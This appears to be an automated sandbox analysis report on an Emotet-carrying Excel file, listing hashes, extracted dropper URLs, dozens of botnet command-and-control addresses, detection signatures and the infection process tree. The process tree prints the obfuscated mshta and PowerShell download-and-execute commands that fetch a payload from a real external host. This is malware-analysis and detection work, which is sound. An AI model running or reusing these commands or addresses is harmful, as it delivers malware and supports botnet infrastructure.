emotet | be5684befe36a019ae8d6f8492eec5ce265d9695aa76e242c46c9eeb2cd76561

Analysis

max time kernel
144s
max time network
149s
platform
windows10_x64
resource
win10-en-20211208
submitted
23/12/2021, 22:10

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General

Target
10850b2d728ad6040d089ab8c3f40680.xls
Size 62KB
Sample211223-13d22scecm
SHA256 be5684befe36a019ae8d6f8492eec5ce265d9695aa76e242c46c9eeb2cd76561
MD5 10850b2d728ad6040d089ab8c3f40680
SHA1 e607654b5c7a280891fd020d16ba71038553e56d
SHA512 cab95c6618e79673de0c1a58a7510b7c86d12e921ce18b55548e04beab60b00bfbf5f8d8841e24f743fe866bc9703d8f1334c70bf977203ed55f07ea70ff5f71
MD5 SHA1 SHA512

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
http://87.251.86.178/pp/aa.html

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://87.251.86.178/pp/PP2.PNG

Extracted

Family

emotet

Botnet

Epoch4

144.217.91.150:443
51.38.71.0:443
212.237.56.116:7080
79.172.212.216:8080
178.79.147.66:8080
138.185.72.26:8080
192.254.71.210:443
178.63.25.185:443
195.154.133.20:443
45.118.135.203:7080
81.0.236.90:443
107.182.225.142:8080
162.214.50.39:7080
50.116.54.215:443
203.114.109.124:443
45.118.115.99:8080
216.158.226.206:443
104.168.155.129:8080
110.232.117.186:8080
176.104.106.96:8080
46.55.222.11:443
51.68.175.8:8080
207.38.84.195:8080
58.227.42.236:80
45.176.232.124:443
104.251.214.46:8080
103.8.26.102:8080
45.142.114.231:8080
217.182.143.207:443
41.76.108.46:8080
212.237.5.209:443
103.8.26.103:8080
212.237.17.99:8080
173.212.193.249:8080
158.69.222.101:443
103.75.201.2:443

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2984	684	cmd.exe	68

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata

Blocklisted process makes network request 5 IoCs

flow	pid	Process
26	2064	mshta.exe
30	3676	powershell.exe
32	3676	powershell.exe
36	3676	powershell.exe
51	3592	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
3380	rundll32.exe
2708	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Xwwgq\elxls.rvn	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
3944	2064	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
684	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
3676	powershell.exe
3676	powershell.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3676	powershell.exe
3592	rundll32.exe
3592	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3676	powershell.exe
Token: SeDebugPrivilege	3944	WerFault.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE
684	EXCEL.EXE

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 684 wrote to memory of 2984	684	EXCEL.EXE	72
PID 684 wrote to memory of 2984	684	EXCEL.EXE	72
PID 2984 wrote to memory of 2064	2984	cmd.exe	74
PID 2984 wrote to memory of 2064	2984	cmd.exe	74
PID 2064 wrote to memory of 3676	2064	mshta.exe	76
PID 2064 wrote to memory of 3676	2064	mshta.exe	76
PID 3676 wrote to memory of 3360	3676	powershell.exe	79
PID 3676 wrote to memory of 3360	3676	powershell.exe	79
PID 3360 wrote to memory of 3380	3360	cmd.exe	80
PID 3360 wrote to memory of 3380	3360	cmd.exe	80
PID 3360 wrote to memory of 3380	3360	cmd.exe	80
PID 3380 wrote to memory of 2708	3380	rundll32.exe	81
PID 3380 wrote to memory of 2708	3380	rundll32.exe	81
PID 3380 wrote to memory of 2708	3380	rundll32.exe	81
PID 2708 wrote to memory of 1556	2708	rundll32.exe	82
PID 2708 wrote to memory of 1556	2708	rundll32.exe	82
PID 2708 wrote to memory of 1556	2708	rundll32.exe	82
PID 1556 wrote to memory of 3592	1556	rundll32.exe	83
PID 1556 wrote to memory of 3592	1556	rundll32.exe	83
PID 1556 wrote to memory of 3592	1556	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\10850b2d728ad6040d089ab8c3f40680.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:684
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/aa.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2984
- - C:\Windows\system32\mshta.exe
    mshta http://87.251.86.178/pp/aa.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:2064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://87.251.86.178/pp/PP2.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3676
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:3360
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,ssd
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:3380
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:2708
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xwwgq\elxls.rvn",gdqqRLlxMR
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:1556
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xwwgq\elxls.rvn",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:3592
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 2064 -s 1916
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3944

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/684-120-0x0000022D89BC0000-0x0000022D89BC2000-memory.dmp

Download

memory/684-119-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Download

memory/684-121-0x0000022D89BC0000-0x0000022D89BC2000-memory.dmp

Download

memory/684-118-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Download

memory/684-122-0x0000022D89BC0000-0x0000022D89BC2000-memory.dmp

Download

memory/684-117-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

Download

memory/684-115-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/684-116-0x00007FFCB13B0000-0x00007FFCB13C0000-memory.dmp

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memory/1556-341-0x0000000001080000-0x00000000010A7000-memory.dmp

Download

memory/2708-334-0x0000000000B70000-0x0000000000B97000-memory.dmp

Download

memory/3380-333-0x0000000000E20000-0x0000000000E47000-memory.dmp

Download

memory/3592-342-0x0000000003440000-0x0000000003467000-memory.dmp

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memory/3676-296-0x0000016F9ED90000-0x0000016F9EDCC000-memory.dmp

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memory/3676-285-0x0000016F9EA83000-0x0000016F9EA85000-memory.dmp

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memory/3676-284-0x0000016F9EA80000-0x0000016F9EA82000-memory.dmp

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memory/3676-275-0x0000016F9E9E0000-0x0000016F9EA02000-memory.dmp

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memory/3676-307-0x0000016F9F190000-0x0000016F9F206000-memory.dmp

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memory/3676-322-0x0000016F9EA86000-0x0000016F9EA88000-memory.dmp

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